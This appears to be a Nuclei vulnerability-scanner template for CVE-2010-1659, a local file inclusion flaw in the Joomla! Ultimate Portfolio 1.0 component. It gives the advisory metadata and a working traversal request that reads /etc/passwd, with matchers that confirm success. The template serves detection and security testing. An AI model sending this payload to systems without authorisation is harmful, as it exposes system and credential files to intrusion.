id: CVE-2010-1659

info:
  name: Joomla! Component Ultimate Portfolio 1.0 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Ultimate Portfolio (com_ultimateportfolio) component 1.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire Joomla! installation.
  remediation: |
    Apply the latest security patches or updates provided by the Joomla! project to fix the LFI vulnerability in Ultimate Portfolio 1.0 component.
  reference:
    - https://www.exploit-db.com/exploits/12426
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1659
    - http://www.exploit-db.com/exploits/12426
    - http://www.vupen.com/english/advisories/2010/1008
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/58177
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1659
    cwe-id: CWE-22
    epss-score: 0.13985
    epss-percentile: 0.96076
    cpe: cpe:2.3:a:webkul:com_ultimateportfolio:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: webkul
    product: com_ultimateportfolio
  tags: cve2010,cve,joomla,lfi,edb,webkul,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_ultimateportfolio&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e45ad65eed5ac7de86be1728d153dd6afcd1ae45e374d63b7faf8d4db6fa0ff202206e3b03a7fd41acbcc9ddcc9ec1324bd59ad98dda89bbfaaaed0a7b3cda18e896:922c64590222798bb761d5b6d8e72950